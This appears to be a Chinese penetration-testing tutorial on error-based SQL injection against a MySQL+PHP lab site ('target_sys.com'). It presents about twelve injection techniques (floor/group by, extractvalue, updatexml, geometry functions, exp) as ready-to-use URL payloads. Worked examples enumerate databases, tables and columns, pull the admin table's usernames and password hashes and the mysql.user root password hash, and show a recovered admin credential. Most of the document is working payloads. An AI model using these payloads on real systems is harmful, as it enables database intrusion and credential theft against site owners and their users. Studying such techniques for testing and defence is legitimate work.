zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

68.网络安全渗透测试—[SQL注入篇7]—[MySQL+PHP-报错注入详解&示例]

2023-09-27 14:28:02 时间

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、MySQL+PHP 报错注入详解

1、MySQL的报错信息:

       MySQL在执行SQL语句的时,如果语句有错,会返回报错信息,但是在与php结合使用的时候默认并不会把报错的信息在页面显示出来。如果要在php显示出来,只有在执行语句的时候使用mysql_error(),才可以把错误的信息 显示到页面。
//例如:$result=mysql_query("select * from article where id=$id") or die(mysql_error());
//示例:http://target_sys.com/mysqlinj.php?id=1'
在这里插入图片描述

2、报错查询库的简单方法:

       在通过id随便传入一个函数,比如id=asdfghjkl(),将会报出以下信息 FUNCTION target_sys.asdfghjkldoes not exist,从而得到当前库的名target_sys
在这里插入图片描述

3、常用报错语句1:

(1)通过floor()+concat()+group by导致的报错: 对于真正的查询部分,一次只能爆出一条结果,因此需要使用concat()+limit,而不能使用group_concat()

         报错查询数据库版本:?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

在这里插入图片描述

         报错查询库名:?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

         报错查询连接用户:?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

         结合limit依次爆所有报错查询库名:?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

         结合limit依次报错查询所有表名:?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

         结合limit依次报错查询所有字段名:?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

         结合limit依次报错查询所有数据:?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

在这里插入图片描述

(2)ExtractValue()报错:结果有长度限制,最长32位

         报错查询版本:?id=1 and extractvalue(1,concat(0x7e,(select @@version),0x7e))
在这里插入图片描述
         利用group_concat()报错查询出当前库的所有表名:?id=1 and extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema=database()),0x7e))
在这里插入图片描述
         结合limit报错查询admin表的所有数据:?id=1 and extractvalue(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e))
在这里插入图片描述

(3)UpdateXml()报错:结果有长度限制,最长32位
         报错查询版本:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
在这里插入图片描述

         结合limit报错查询admin表的所有数据:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
在这里插入图片描述

(4)NAME_CONST()报错:适用于低版本

         报错查询版本:?id=1 and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
在这里插入图片描述

(5)Error based Double Query Injection: 传送门
         报错查询版本:?id=1 or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

         # 失败

4、常用报错语句2:

(1)floor()+concat()+group by报错:

         报错查询库名:?id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
在这里插入图片描述
         结合limit报错查询当前库的所有表名:?id=1 and (select 1 from (select count(*),concat((SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述
(2)geometrycollection()报错:

         报错查询版本:?id=1 and geometrycollection((select * from(select * from(select version())a)b))
在这里插入图片描述
         利用group_concat()报错查询当前库的所有表名:?id=1 and geometrycollection((select * from(select * from((select group_concat(table_name) from information_schema.tables where table_schema=database()))a)b))
在这里插入图片描述
(3)multipoint()报错

         报错查询库名:?id=1 and multipoint((select * from(select * from(select database())a)b));
在这里插入图片描述
         利用group_concat()报错查询当前库的所有表名:?id=1 and multipoint((select * from(select * from((select group_concat(table_name) from information_schema.tables where table_schema=database()))a)b))
在这里插入图片描述

(4)polygon()报错:

         报错查询库名:?id=1 and polygon((select * from(select * from(select user())a)b))
在这里插入图片描述
         利用group_concat()报错查询出users表的所有记录:?id=1 and polygon((select * from(select * from((select group_concat(username,0x3a,password) from users))a)b));
在这里插入图片描述
(5)multipolygon()报错:

         报错查询连接用户?id=1 and multipolygon((select * from(select * from(select user())a)b))
在这里插入图片描述
         利用group_concat()报错查询出users表的所有记录:?id=1 and multipolygon((select * from(select * from((select group_concat(username,0x3a,password) from users))a)b))
在这里插入图片描述

(6)linestring()报错:

         报错查询库名:?id=1 and linestring((select * from(select * from(select user())a)b))
在这里插入图片描述
         利用group_concat()报错查询admin表的所有字段名:?id=1 and linestring((select * from(select * from((select group_concat(column_name) from information_schema.columns where table_name='admin'))a)b));
在这里插入图片描述

(7)multilinestring()报错:

         报错查询版本:?id=1 and multilinestring((select * from(select * from(select version())a)b))
在这里插入图片描述

         利用group_concat()报错查询所有库名:?id=1 and multilinestring((select * from(select * from((select group_concat(schema_name) from information_schema.schemata))a)b));
在这里插入图片描述

(8)exp()报错:

         报错查询连接用户?id=1 and exp(~(select * from(select user())a));

在这里插入图片描述
         利用group_concat()报错查询出users表的所有记录:?id=1 and exp(~(select * from((select group_concat(username,0x3a,password) from users))a));
在这里插入图片描述

5、报错注入总结:

(1)报错函数总结:12函数

  1. floor()+concat()+group by导致的两种报错
  2. ExtractValue(有长度限制,最长32位)
  3. UpdateXml(有长度限制,最长32位)
  4. NAME_CONST(适用于低版本)
  5. Error based Double Query Injection
  6. geometrycollection()
  7. multipoint()
  8. polygon()
  9. multipolygon()
  10. linestring()
  11. multilinestring()
  12. exp()

(2)一般distinct concat()跟limit一起使用(一次爆一条记录),而group_concat()单独使用(一次爆所有记录)。

(3)floor()+concat()+group by导致的两种姿势的报错,都是一次只能爆出一条结果,因此需要使用concat()+limit组合拳。

(4)length()函数,用来得到一串字符的长度。

(5)substring()截取字符串函数,左闭右闭的形式。

(6)updatexml和extractvalue()函数在报错查询的时候,最多可以查询出32个字符,因此需要用到length()函数+substring()截取字符串函数组合拳。(先查询结果的字符长度,再去以32位单位进行截取)

(4)注意:有时候让前置查询的是否返回结果(也就是?id=-1、?id=1),也会导致报错注入显示不同的结果!!!但是当前文章中的演示,没有很大的区别!!!

二、MySQL+PHP 报错注入示例

1、报错查询当前连接用户名:

   用到user()函数:http://target_sys.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
在这里插入图片描述

2、报错查询root用户的密码:

   用到mysql.user表:http://target_sys.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,substring((select password from mysql.user),1,16),0x7e)))

在这里插入图片描述

http://target_sys.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,substring((select password from mysql.user),16,31),0x7e)))
在这里插入图片描述

3、逐个报错查询库名:

(1)报错查询第一个库:http://target_sys.com/mysqlinj.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述
(2)报错查询第二个库:http://target_sys.com/mysqlinj.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

(3)把 ROM information_schema.schemata LIMIT 1,1) 这个部分的 1 一直往后推可以得到所有库的名:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress

4、逐个报错查询表名:

(1)报错查询第一个表:http://target_sys.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

(2)报错查询第二个表:http://target_sys.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述
(3)把 ROM information_schema.tables LIMIT 1,1) 这个部分的 1 一直往后推可以得到所有库的名:admin,article,moon_range,users

5、逐个报错查询字段名:

(1)报错查询第一个表名:http://target_sys.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

(2)报错查询第二个字段名:admin可以替换为十六进制编码0x61646D696E,然后LIMIT 0,1 这个0 往后推 ,变成LIMIT 1,1从而查询第二个字段名,因此:http://target_sys.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

6、逐个报错查询数据:

(1)floor报错查询数据有点问题:http://target_sys.com/mysqlinj.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述

(2)updatexml方法报错查询数据:http://target_sys.com/mysqlinj.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
在这里插入图片描述

(3)上面这种查询,只能查询32位 所以有些部分查询不出来。可以先查询密文或者先查询长度的,再进行字符长度的截取。

(4)LENGTH()函数查询长度:http://target_sys.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)
在这里插入图片描述

(5)SUBSTRING()字符串截取函数,查询 1-32位
http://target_sys.com/mysqlinj.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit 0,1),0x7e),1)
在这里插入图片描述
(6)SUBSTRING()字符串截取函数,查询 33-40位:http://target_sys.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,40) FROM admin limit 0,1),0x7e),1)
在这里插入图片描述
(7)再后将字符并接起来就是完整的的数据:admin:e10adc3949ba59abbe56e057f20f883e

(8)解密:传送门
在这里插入图片描述